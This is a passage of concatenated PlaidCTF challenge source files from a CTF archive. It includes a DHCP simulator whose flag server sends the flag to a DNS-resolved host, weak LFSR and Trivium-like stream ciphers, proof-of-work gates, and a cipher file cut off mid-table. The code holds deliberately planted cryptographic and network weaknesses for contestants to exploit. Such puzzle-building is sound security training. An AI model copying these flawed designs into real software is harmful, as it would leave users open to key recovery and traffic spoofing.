import re
from threading import Lock, Thread
import time
import os
from queue import Queue
KEY_REGEX = r"([a-z]{1,512})"
connection_lock = Lock()
class ThreadingUnixStreamServer(ThreadingMixIn, UnixStreamServer):
pass
def start_tcp(queue):
class TcpHandler(StreamRequestHandler):
def handle(self):
self.wfile.write(b"token\n")
token = self.rfile.readline().strip()
if token != os.environ["SENSOR_TOKEN"].encode("ascii"):
self.wfile.write(b"bad token\n")
return
if not connection_lock.acquire(blocking = False):
self.wfile.write(b"already have a connection\n")
return
self.wfile.write(b"ok\n")
try:
while True:
while True:
try:
cmd = queue.get_nowait()
self.wfile.write(cmd + b"\n")
except:
break
name = self.rfile.readline().strip().decode("ascii")
if not re.fullmatch(KEY_REGEX, name):
self.wfile.write(b"bad camera name\n")
continue
try:
length = int(self.rfile.readline().strip())
if length > 1024 * 1024:
raise Exception()
except:
self.wfile.write(b"bad length\n")
continue
image = self.rfile.read(length)
with open(f"/var/www/goahead/data/snapshot/{name}", "wb") as f:
f.write(image)
self.wfile.write(b"ok\n")
finally:
connection_lock.release()
tcp = ThreadingTCPServer(("0.0.0.0", 9999), TcpHandler)
tcp.serve_forever()
def start_unix(queue):
class UnixHandler(StreamRequestHandler):
def handle(self):
while True:
cmd = self.rfile.readline()
if len(cmd) == 0:
return
cmd = cmd.strip()
queue.put_nowait(cmd)
unix = ThreadingUnixStreamServer("/sensor/sensor.sock", UnixHandler)
unix.serve_forever()
if __name__ == "__main__":
queue = Queue()
Thread(target = start_tcp, args = (queue,)).start()
Thread(target = start_unix, args = (queue,)).start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2018/shop/unique_seq_generator.py | ctfs/PlaidCTF/2018/shop/unique_seq_generator.py | #!/usr/bin/python
def de_bruijn(alphabet, n):
a = [0] * len(alphabet) * n
sequence = []
def db(t, p):
if t > n:
if n % p == 0:
sequence.extend(a[1:p + 1])
else:
a[t] = a[t - p]
db(t + 1, p)
for j in range(a[t - p] + 1, len(alphabet)):
a[t] = j
db(t + 1, t)
db(1, 1)
return "".join(alphabet[i] for i in sequence)
print(de_bruijn("0123456789abcdef", 4))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2024/DHCPPP/dhcppp.c31987bce7265cdacd3329769acada11b26f8d57cc6a9676e3a6dda3b5c90200.py | ctfs/PlaidCTF/2024/DHCPPP/dhcppp.c31987bce7265cdacd3329769acada11b26f8d57cc6a9676e3a6dda3b5c90200.py | import time, zlib
import secrets
import hashlib
import requests
from Crypto.Cipher import ChaCha20_Poly1305
import dns.resolver
CHACHA_KEY = secrets.token_bytes(32)
TIMEOUT = 1e-1
def encrypt_msg(msg, nonce):
# In case our RNG nonce is repeated, we also hash
# the message in. This means the worst-case scenario
# is that our nonce reflects a hash of the message
# but saves the chance of a nonce being reused across
# different messages
nonce = sha256(msg[:32] + nonce[:32])[:12]
cipher = ChaCha20_Poly1305.new(key=CHACHA_KEY, nonce=nonce)
ct, tag = cipher.encrypt_and_digest(msg)
return ct+tag+nonce
def decrypt_msg(msg):
ct = msg[:-28]
tag = msg[-28:-12]
nonce = msg[-12:]
cipher = ChaCha20_Poly1305.new(key=CHACHA_KEY, nonce=nonce)
pt = cipher.decrypt_and_verify(ct, tag)
return pt
def calc_crc(msg):
return zlib.crc32(msg).to_bytes(4, "little")
def sha256(msg):
return hashlib.sha256(msg).digest()
RNG_INIT = secrets.token_bytes(512)
class DHCPServer:
def __init__(self):
self.leases = []
self.ips = [f"192.168.1.{i}" for i in range(3, 64)]
self.mac = bytes.fromhex("1b 7d 6f 49 37 c9")
self.gateway_ip = "192.168.1.1"
self.leases.append(("192.168.1.2", b"rngserver_0", time.time(), []))
def get_lease(self, dev_name):
if len(self.ips) != 0:
ip = self.ips.pop(0)
self.leases.append((ip, dev_name, time.time(), []))
else:
# relinquish the oldest lease
old_lease = self.leases.pop(0)
ip = old_lease[0]
self.leases.append((ip, dev_name, time.time(), []))
pkt = bytearray(
bytes([int(x) for x in ip.split(".")]) +
bytes([int(x) for x in self.gateway_ip.split(".")]) +
bytes([255, 255, 255, 0]) +
bytes([8, 8, 8, 8]) +
bytes([8, 8, 4, 4]) +
dev_name +
b"\x00"
)
pkt = b"\x02" + encrypt_msg(pkt, self.get_entropy_from_lavalamps()) + calc_crc(pkt)
return pkt
def get_entropy_from_lavalamps(self):
# Get entropy from all available lava-lamp RNG servers
# Falling back to local RNG if necessary
entropy_pool = RNG_INIT
for ip, name, ts, tags in self.leases:
if b"rngserver" in name:
try:
# get entropy from the server
output = requests.get(f"http://{ip}/get_rng", timeout=TIMEOUT).text
entropy_pool += sha256(output.encode())
except:
# if the server is broken, get randomness from local RNG instead
entropy_pool += sha256(secrets.token_bytes(512))
return sha256(entropy_pool)
def process_pkt(self, pkt):
assert pkt is not None
src_mac = pkt[:6]
dst_mac = pkt[6:12]
msg = pkt[12:]
if dst_mac != self.mac:
return None
if src_mac == self.mac:
return None
if len(msg) and msg.startswith(b"\x01"):
# lease request
dev_name = msg[1:]
lease_resp = self.get_lease(dev_name)
return (
self.mac +
src_mac + # dest mac
lease_resp
)
else:
return None
class FlagServer:
def __init__(self, dhcp):
self.mac = bytes.fromhex("53 79 82 b5 97 eb")
self.dns = dns.resolver.Resolver()
self.process_pkt(dhcp.process_pkt(self.mac+dhcp.mac+b"\x01"+b"flag_server"))
def send_flag(self):
with open("flag.txt", "r") as f:
flag = f.read().strip()
curl("example.com", f"/{flag}", self.dns)
def process_pkt(self, pkt):
assert pkt is not None
src_mac = pkt[:6]
dst_mac = pkt[6:12]
msg = pkt[12:]
if dst_mac != self.mac:
return None
if src_mac == self.mac:
return None
if len(msg) and msg.startswith(b"\x02"):
# lease response
pkt = msg[1:-4]
pkt = decrypt_msg(pkt)
crc = msg[-4:]
assert crc == calc_crc(pkt)
self.ip = ".".join(str(x) for x in pkt[0:4])
self.gateway_ip = ".".join(str(x) for x in pkt[4:8])
self.subnet_mask = ".".join(str(x) for x in pkt[8:12])
self.dns1 = ".".join(str(x) for x in pkt[12:16])
self.dns2 = ".".join(str(x) for x in pkt[16:20])
self.dns.nameservers = [self.dns1, self.dns2]
assert pkt.endswith(b"\x00")
print("[FLAG SERVER] [DEBUG] Got DHCP lease", self.ip, self.gateway_ip, self.subnet_mask, self.dns1, self.dns2)
return None
elif len(msg) and msg.startswith(b"\x03"):
# FREE FLAGES!!!!!!!
self.send_flag()
return None
else:
return None
def curl(url, path, dns):
ip = str(dns.resolve(url).response.resolve_chaining().answer).strip().split(" ")[-1]
url = "http://" + ip
print(f"Sending flage to {url}")
requests.get(url + path)
if __name__ == "__main__":
dhcp = DHCPServer()
flagserver = FlagServer(dhcp)
while True:
pkt = bytes.fromhex(input("> ").replace(" ", "").strip())
out = dhcp.process_pkt(pkt)
if out is not None:
print(out.hex())
out = flagserver.process_pkt(pkt)
if out is not None:
print(out.hex())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/bivalves/bivalves.py | ctfs/PlaidCTF/2023/crypto/bivalves/bivalves.py | from bitstream import BitStream
from bitstring import BitArray
import os
KEY = BitArray(os.urandom(10)).bin
IV = BitArray(os.urandom(10)).bin
print(IV)
state = BitArray(bin=(KEY + '0101000001010' + IV + '0'*4))
output_stream = BitStream()
def step(out=True):
if out:
output_stream.write(state[65] ^ state[92], bool)
t1 = state[65] ^ state[92] ^ (state[90] & state[91]) ^ state[170]
t2 = state[161] ^ state[176] ^ (state[174] & state[175]) ^ state[68]
for i in range(92, 0, -1):
state.set(state[i - 1], i)
state.set(t2, 0)
for i in range(176, 93, -1):
state.set(state[i - 1], i)
state.set(t1, 93)
for _ in range(708):
step(False)
pt=BitArray(bytes=('''There once was a ship that put to sea
The name of the ship was the Billy O' Tea
The winds blew up, her bow dipped down
Oh blow, my bully boys, blow (huh)
Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go
She'd not been two weeks from shore
When down on her right a whale bore
The captain called all hands and swore
He'd take that whale in tow (huh)
Soon may the Wellerman come
To bring us sugar and tea and rum
One day, when the tonguing is done
We'll take our leave and go
- '''.encode('utf-8') + (open('flag.txt', 'rb').read())))
ciphertext = BitStream()
for i in range(len(pt)):
step()
ciphertext.write(output_stream.read(bool, 1)[0] ^ pt[i], bool)
print(ciphertext.read(bytes, len(pt) // 8))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/fastrology/server.py | ctfs/PlaidCTF/2023/crypto/fastrology/server.py | import sys
import string
import random
import hashlib
import time
import subprocess
FLAGS = [
'<real new moon flag is on the server>',
'<real waxing crescent flag is on the server>',
'<real waxing gibbous flag is on the server>',
'<real full moon flag is on the server>'
]
NUM_TRIALS = 50
PHASES = ['new moon', 'waxing crescent', 'waxing gibbous', 'full moon']
PHASE_FILES = ['new_moon.js', 'waxing_crescent.js', 'waxing_gibbous.js', 'full_moon.js']
MAXTIMES = [15, 15, 15, 30]
USE_POW = True
if USE_POW:
# proof of work
prefix = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
print("Give me a string starting with {} of length {} so its sha256sum ends in ffffff.".format(prefix, len(prefix)+8), flush=True)
l = input().strip()
if len(l) != len(prefix)+8 or not l.startswith(prefix) or hashlib.sha256(l.encode('ascii')).hexdigest()[-6:] != "ffffff":
print("Nope.", flush=True)
sys.exit(1)
while True:
phase = input(f'which phase? [{", ".join(PHASES)}]\n')
if phase not in PHASES:
continue
phase = PHASES.index(phase)
break
for trial in range(NUM_TRIALS):
print(f'{PHASES[phase]}: trial {trial+1}/{NUM_TRIALS}', flush=True)
tick = time.time()
p = subprocess.run(['node', PHASE_FILES[phase]])
tock = time.time()
if abs(tock-tick) > MAXTIMES[phase]:
print(f'⌛️❗️ ({tock-tick:.3f})', flush=True)
sys.exit(1)
if p.returncode != 42:
print(f'🔮️🚫️❗️', flush=True)
sys.exit(1)
print('congrats!', flush=True)
print(FLAGS[phase])
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/mode.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/mode.py | from enum import Enum
class Mode(Enum):
Authentication = 1
DiskKey = 2
TitleKey = 3
Data = 4
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/table.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/table.py | table = [1, 88, 132, 233, 162, 39, 185, 237, 238, 159, 164, 76, 59, 144, 97, 94, 214, 196, 213, 221, 65, 116, 49, 222, 224, 63, 51, 118, 157, 106, 53, 45, 191, 58, 253, 71, 148, 254, 131, 40, 43, 57, 13, 128, 178, 30, 46, 226, 183, 67, 243, 44, 6, 192, 172, 29, 32, 210, 82, 170, 142, 19, 231, 127, 161, 146, 168, 195, 105, 69, 249, 246, 26, 151, 215, 190, 92, 245, 86, 4, 112, 109, 11, 50, 99, 96, 176, 117, 95, 244, 198, 177, 87, 169, 68, 153, 229, 5, 110, 89, 218, 137, 12, 7, 104, 54, 119, 21, 101, 155, 28, 211, 123, 34, 93, 2, 166, 230, 108, 42, 209, 75, 187, 14, 78, 41, 251, 240, 189, 115, 135, 252, 236, 60, 202, 70, 134, 100, 174, 9, 38, 33, 22, 17, 121, 201, 8, 239, 182, 47, 167, 179, 147, 173, 98, 152, 216, 203, 73, 150, 165, 223, 206, 138, 188, 199, 31, 74, 205, 242, 27, 125, 248, 81, 20, 255, 114, 139, 36, 61, 56, 145, 48, 16, 225, 83, 219, 62, 85, 126, 208, 0, 160, 171, 181, 102, 184, 23, 3, 140, 15, 250, 133, 113, 241, 141, 52, 163, 156, 80, 111, 90, 220, 143, 120, 84, 175, 217, 18, 186, 25, 79, 37, 154, 207, 180, 136, 64, 204, 158, 24, 193, 234, 72, 35, 129, 55, 232, 228, 149, 91, 122, 77, 212, 200, 235, 103, 124, 130, 247, 66, 10, 107, 227, 194, 197]
reverse_table = [191, 0, 115, 198, 79, 97, 52, 103, 146, 139, 251, 82, 102, 42, 123, 200, 183, 143, 218, 61, 174, 107, 142, 197, 230, 220, 72, 170, 110, 55, 45, 166, 56, 141, 113, 234, 178, 222, 140, 5, 39, 125, 119, 40, 51, 31, 46, 149, 182, 22, 83, 26, 206, 30, 105, 236, 180, 41, 33, 12, 133, 179, 187, 25, 227, 20, 250, 49, 94, 69, 135, 35, 233, 158, 167, 121, 11, 242, 124, 221, 209, 173, 58, 185, 215, 188, 78, 92, 1, 99, 211, 240, 76, 114, 15, 88, 85, 14, 154, 84, 137, 108, 195, 246, 104, 68, 29, 252, 118, 81, 98, 210, 80, 203, 176, 129, 21, 87, 27, 106, 214, 144, 241, 112, 247, 171, 189, 63, 43, 235, 248, 38, 2, 202, 136, 130, 226, 101, 163, 177, 199, 205, 60, 213, 13, 181, 65, 152, 36, 239, 159, 73, 155, 95, 223, 109, 208, 28, 229, 9, 192, 64, 4, 207, 10, 160, 116, 150, 66, 93, 59, 193, 54, 153, 138, 216, 86, 91, 44, 151, 225, 194, 148, 48, 196, 6, 219, 122, 164, 128, 75, 32, 53, 231, 254, 67, 17, 255, 90, 165, 244, 145, 134, 157, 228, 168, 162, 224, 190, 120, 57, 111, 243, 18, 16, 74, 156, 217, 100, 186, 212, 19, 23, 161, 24, 184, 47, 253, 238, 96, 117, 62, 237, 3, 232, 245, 132, 7, 8, 147, 127, 204, 169, 50, 89, 77, 71, 249, 172, 70, 201, 126, 131, 34, 37, 175]
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/keys.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/keys.py | import os
authentication_key = bytes.fromhex(os.environ["CSS_AUTHENTICATION_KEY"])
assert len(authentication_key) == 8
player_key_id = int(os.environ["CSS_PLAYER_KEY_ID"])
player_key_data = bytes.fromhex(os.environ["CSS_PLAYER_KEY_DATA"])
assert 0 <= player_key_id <= 255
assert len(player_key_data) == 8
player_key = (player_key_id, player_key_data)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/__main__.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/__main__.py | import asyncio
from sys import stdin, stdout
from .io_manager import IOManager, ReaderWriter
from .player import Player
async def main():
player = Player("../disks/a.disk")
host_to_player = IOManager("host -> player", color = "\x1b[31m")
player_to_host = IOManager("player -> host", color = "\x1b[34m")
player_task = player.start(ReaderWriter(host_to_player, player_to_host))
stdin_task = stdin_to_manager(host_to_player)
stdout_task = manager_to_stdout(player_to_host)
await asyncio.gather(player_task, stdin_task, stdout_task)
async def stdin_to_manager(manager: IOManager):
loop = asyncio.get_running_loop()
reader = asyncio.StreamReader()
protocol = asyncio.StreamReaderProtocol(reader)
await loop.connect_read_pipe(lambda: protocol, stdin)
while True:
data = await reader.read(1024)
if len(data) == 0:
break
await manager.write(data)
await manager.queue.put(None)
async def manager_to_stdout(manager: IOManager):
while True:
chunk = await manager.queue.get()
if chunk is None:
break
stdout.buffer.write(chunk)
stdout.flush()
if __name__ == "__main__":
asyncio.run(main())
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/cipher.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/cipher.py | from .lfsr import LFSR
from .mode import Mode
def _should_invert_1(mode: Mode) -> bool:
return mode in (Mode.Authentication, Mode.Data)
def _should_invert_2(mode: Mode) -> bool:
return mode in (Mode.DiskKey, Mode.Data)
class Cipher:
mode: Mode
carry: int
lfsr_1: LFSR
lfsr_2: LFSR
def __init__(self, key_bytes: bytes, mode: Mode):
self.mode = mode
self.carry = 0
assert len(key_bytes) == 8, "Key must be 8 bytes long"
key = int.from_bytes(key_bytes, "big")
key_1 = (key & 0xffffff0000000000) >> 40
key_2 = (key & 0x000000ffffffffff)
lfsr_seed_1 = ((key_1 & 0xfffff8) << 1) | 8 | (key_1 & 7)
lfsr_seed_2 = ((key_2 & 0xfffffffff8) << 1) | 8 | (key_2 & 7)
self.lfsr_1 = LFSR(25, lfsr_seed_1, 0x19e4001)
self.lfsr_2 = LFSR(41, lfsr_seed_2, 0xfdc0000001)
def _get_lfsr_byte(self) -> int:
byte_1 = self.lfsr_1.next_byte()
byte_2 = self.lfsr_2.next_byte()
if _should_invert_1(self.mode):
byte_1 = ~byte_1 & 0xff
if _should_invert_2(self.mode):
byte_2 = ~byte_2 & 0xff
result = byte_1 + byte_2 + self.carry
self.carry = (result >> 8) & 1
return result & 0xff
def _lfsrify_byte(self, byte: int) -> int:
return byte ^ self._get_lfsr_byte()
def encrypt(self, data: bytes) -> bytes:
return bytes(self._lfsrify_byte(byte) for byte in data)
def decrypt(self, data: bytes) -> bytes:
return bytes(self._lfsrify_byte(byte) for byte in data)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/make_disk.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/make_disk.py | from itertools import count, cycle
from secrets import token_bytes
from sys import argv
from .cipher import Cipher
from .mangle import mangle
from .mode import Mode
sector_size = 8192
assert len(argv) == 4, "usage: make_disk.py <output-file> <input-file> <disk-keys-file>"
with open(argv[1], "wb") as f:
disk_key = token_bytes(8)
with open(argv[3], "rb") as g:
for i in range(128):
player_key = g.read(8)
assert len(player_key) == 8
cipher = Cipher(player_key, Mode.DiskKey)
f.write(cipher.encrypt(disk_key))
with open(argv[2], "rb") as g:
for i in count():
print(f"sector {i}")
sector = g.read(sector_size)
if len(sector) == 0:
break
sector_nonce = token_bytes(8)
sector_key = mangle(disk_key, sector_nonce)
sector_xor = token_bytes(16)
f.write(sector_nonce)
cipher = Cipher(sector_key, Mode.Data)
f.write(cipher.encrypt(sector_xor))
sector_xord = bytes(a ^ b for a, b in zip(sector, cycle(sector_xor)))
f.write(cipher.encrypt(sector_xord))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/lfsr.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/lfsr.py | class LFSR:
size: int
seed: int
state: int
taps: list[int]
def __init__(self, size: int, seed: int, taps: int):
self.size = size
self.seed = seed
self.state = seed
assert taps < 2 ** size
self.taps = []
for i in range(size):
tap = taps & (1 << i)
if tap > 0:
self.taps.append(tap)
assert sum(self.taps) == taps, f'{self.taps=}, {taps=}, {sum(self.taps)=}'
def next_bit(self) -> int:
bit = 0
for tap in self.taps:
bit ^= (self.state & tap) == tap
self.state = (self.state >> 1) | (bit << (self.size - 1))
return bit
def next_byte(self) -> int:
byte = 0
for i in range(8):
byte |= self.next_bit() << i
return byte
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/__init__.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/io_manager.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/io_manager.py | from asyncio.queues import Queue
from os import getenv
from sys import stdout
from typing import Optional
from hexdump import hexdump
class IOManager:
name: str
color: str
closed: bool
queue: Queue[Optional[bytes]]
buffer: bytes
def __init__(self, name: str, color: Optional[str] = None):
self.name = name
self.color = color if color is not None else ""
self.closed = False
self.queue = Queue()
self.buffer = b""
async def write(self, data: bytes) -> None:
if getenv("DEBUG") == "1":
print(f"{self.color}[{self.name}] writing {len(data)} bytes")
hexdump(data)
stdout.write("\x1b[0m")
stdout.flush()
await self.queue.put(data)
async def read(self, size: int) -> bytes:
if self.closed:
raise Exception("Unexpected EOF")
while len(self.buffer) < size:
chunk = await self.queue.get()
if chunk is None:
self.closed = True
break
self.buffer += chunk
if len(self.buffer) < size:
raise Exception("Unexpected EOF")
data = self.buffer[:size]
self.buffer = self.buffer[size:]
return data
async def read_eof(self) -> bytes:
while not self.closed:
chunk = await self.queue.get()
if chunk is None:
self.closed = True
break
self.buffer += chunk
return self.buffer
class ReaderWriter:
reader: IOManager
writer: IOManager
def __init__(self, reader: IOManager, writer: IOManager):
self.reader = reader
self.writer = writer
async def read(self, size: int) -> bytes:
return await self.reader.read(size)
async def write(self, data: bytes) -> None:
await self.writer.write(data)
async def write_eof(self) -> None:
await self.writer.queue.put(None)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/player.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/player.py | import asyncio
from secrets import token_bytes
from .cipher import Cipher
from .io_manager import ReaderWriter
from .keys import authentication_key
from .keys import player_key as player_key_data
from .mangle import mangle, unmangle
from .mode import Mode
class Player:
disk: str
def __init__(self, disk: str):
self.disk = disk
async def _read_or_fail(self, rw: ReaderWriter, size: int) -> bytes:
data = await rw.read(size)
if len(data) != size:
raise Exception("Unexpected EOF")
return data
async def _write(self, rw: ReaderWriter, data: bytes) -> None:
await rw.write(data)
async def start(self, rw: ReaderWriter) -> None:
# host issues player 16-byte challenge
host_challenge = await self._read_or_fail(rw, 16)
challenge_key = host_challenge[:8]
encrypted_host_nonce = host_challenge[8:]
cipher = Cipher(authentication_key, Mode.Authentication)
host_mangling_key = cipher.encrypt(challenge_key)
response = mangle(host_mangling_key, encrypted_host_nonce)
await self._write(rw, response)
cipher = Cipher(authentication_key, Mode.Authentication)
host_nonce = cipher.decrypt(encrypted_host_nonce)
# player issues host 16-byte challenge
player_challenge_key = token_bytes(8)
player_nonce = token_bytes(8)
cipher = Cipher(authentication_key, Mode.Authentication)
encrypted_player_nonce = cipher.encrypt(player_nonce)
await self._write(rw, player_challenge_key + encrypted_player_nonce)
cipher = Cipher(authentication_key, Mode.Authentication)
player_mangling_key = cipher.encrypt(player_challenge_key)
response = await self._read_or_fail(rw, 8)
cipher = Cipher(authentication_key, Mode.Authentication)
if cipher.decrypt(unmangle(player_mangling_key, response)) != player_nonce:
await rw.write_eof()
raise Exception("Authentication failed")
# compute session key
mangling_key = bytes(a ^ b for a, b in zip(host_mangling_key, player_mangling_key))
session_nonce = bytes(a ^ b for a, b in zip(host_nonce, player_nonce))
session_key = mangle(mangling_key, session_nonce)
with open(self.disk, "rb") as f:
# get disk key
player_key_id, player_key = player_key_data
f.seek(8 * player_key_id)
encrypted_disk_key = f.read(8)
cipher = Cipher(player_key, Mode.DiskKey)
disk_key = cipher.decrypt(encrypted_disk_key)
# read and send data to the host
stream_cipher = Cipher(session_key, Mode.Data)
f.seek(8 * 128)
sector_index = 0
while True:
sector_nonce = f.read(8)
if len(sector_nonce) == 0:
break
sector_key = mangle(disk_key, sector_nonce)
sector_cipher = Cipher(sector_key, Mode.Data)
data = sector_cipher.decrypt(f.read(8208))
await self._write(rw, stream_cipher.encrypt(data))
sector_index += 1
await asyncio.sleep(0) # yield to other tasks
await rw.write_eof()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/mangle.py | ctfs/PlaidCTF/2023/crypto/the-other-css/css/css/mangle.py | from .table import reverse_table, table
def mangle(key_bytes: bytes, value_bytes: bytes) -> bytes:
key = list(key_bytes)
value = list(value_bytes)
value = mix(key, value)
value = shift(value)
value = mix(key, value)
value = shift(value)
value = mix(key, value)
value = tabulate(value)
value = shift(value)
value = mix(key, value)
value = tabulate(value)
value = shift(value)
value = mix(key, value)
value = shift(value)
value = mix(key, value)
return bytes(value)
def unmangle(key_bytes: bytes, value_bytes: bytes) -> bytes:
key = list(key_bytes)
value = list(value_bytes)
value = unmix(key, value)
value = unshift(value)
value = unmix(key, value)
value = unshift(value)
value = untabulate(value)
value = unmix(key, value)
value = unshift(value)
value = untabulate(value)
value = unmix(key, value)
value = unshift(value)
value = unmix(key, value)
value = unshift(value)
value = unmix(key, value)
return bytes(value)
def mix(key: list[int], value: list[int]) -> list[int]:
last = 0
ret: list[int] = value.copy()
for i in range(len(value)):
ret[i] ^= key[i]
ret[i] ^= last
last = value[i]
return ret
def unmix(key: list[int], value: list[int]) -> list[int]:
last = 0
ret: list[int] = value.copy()
for i in range(len(value)):
ret[i] ^= last
ret[i] ^= key[i]
last = ret[i]
return ret
def shift(value: list[int]) -> list[int]:
ret = value.copy()
ret[0] ^= ret[-1]
return ret
unshift = shift
def tabulate(value: list[int]) -> list[int]:
ret = value.copy()
for i in range(len(value)):
ret[i] = table[ret[i]]
return ret
def untabulate(value: list[int]) -> list[int]:
ret = value.copy()
for i in range(len(value)):
ret[i] = reverse_table[ret[i]]
return ret
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2022/crypto/choreography/pow.py | ctfs/PlaidCTF/2022/crypto/choreography/pow.py | import sys
import string
import random
import hashlib
# proof of work
prefix = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
print("Give me a string starting with {} of length {} so its sha256sum ends in ffffff.".format(prefix, len(prefix)+8))
l = input().strip()
if len(l) != len(prefix)+8 or not l.startswith(prefix) or hashlib.sha256(l.encode('ascii')).hexdigest()[-6:] != "ffffff":
print("Nope.")
sys.exit(1)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/PlaidCTF/2022/crypto/choreography/cipher.py | ctfs/PlaidCTF/2022/crypto/choreography/cipher.py | #!/usr/bin/env python3
import signal
import os
ROUNDS = 2**22 + 2
QUERIES = 500
sbox = [109, 86, 136, 240, 199, 237, 30, 94, 134, 162, 49, 78, 111, 172, 214, 117, 90, 226, 171, 105, 248, 216, 48, 196, 130, 203, 179, 223, 12, 123, 228, 96, 225, 113, 168, 5, 208, 124, 146, 184, 206, 77, 72, 155, 191, 83, 142, 197, 144, 218, 255, 39, 236, 221, 251, 102, 207, 57, 15, 159, 98, 80, 145, 22, 235, 63, 125, 120, 245, 198, 10, 233, 56, 92, 99, 55, 187, 43, 25, 210, 153, 101, 44, 252, 93, 82, 182, 9, 36, 247, 129, 3, 84, 74, 128, 69, 20, 246, 141, 2, 41, 169, 59, 217, 137, 95, 189, 138, 116, 7, 180, 60, 18, 238, 73, 133, 121, 62, 87, 40, 213, 37, 33, 122, 200, 192, 118, 205, 135, 53, 58, 89, 201, 21, 193, 149, 8, 112, 81, 243, 131, 158, 188, 154, 211, 147, 164, 195, 181, 222, 178, 67, 76, 115, 150, 127, 103, 254, 1, 249, 186, 88, 177, 61, 14, 152, 106, 161, 229, 70, 160, 175, 29, 224, 66, 38, 91, 79, 185, 114, 190, 6, 110, 194, 250, 119, 0, 230, 176, 51, 104, 219, 215, 151, 75, 13, 23, 165, 11, 139, 42, 167, 52, 85, 156, 253, 163, 19, 35, 140, 107, 31, 143, 166, 32, 47, 132, 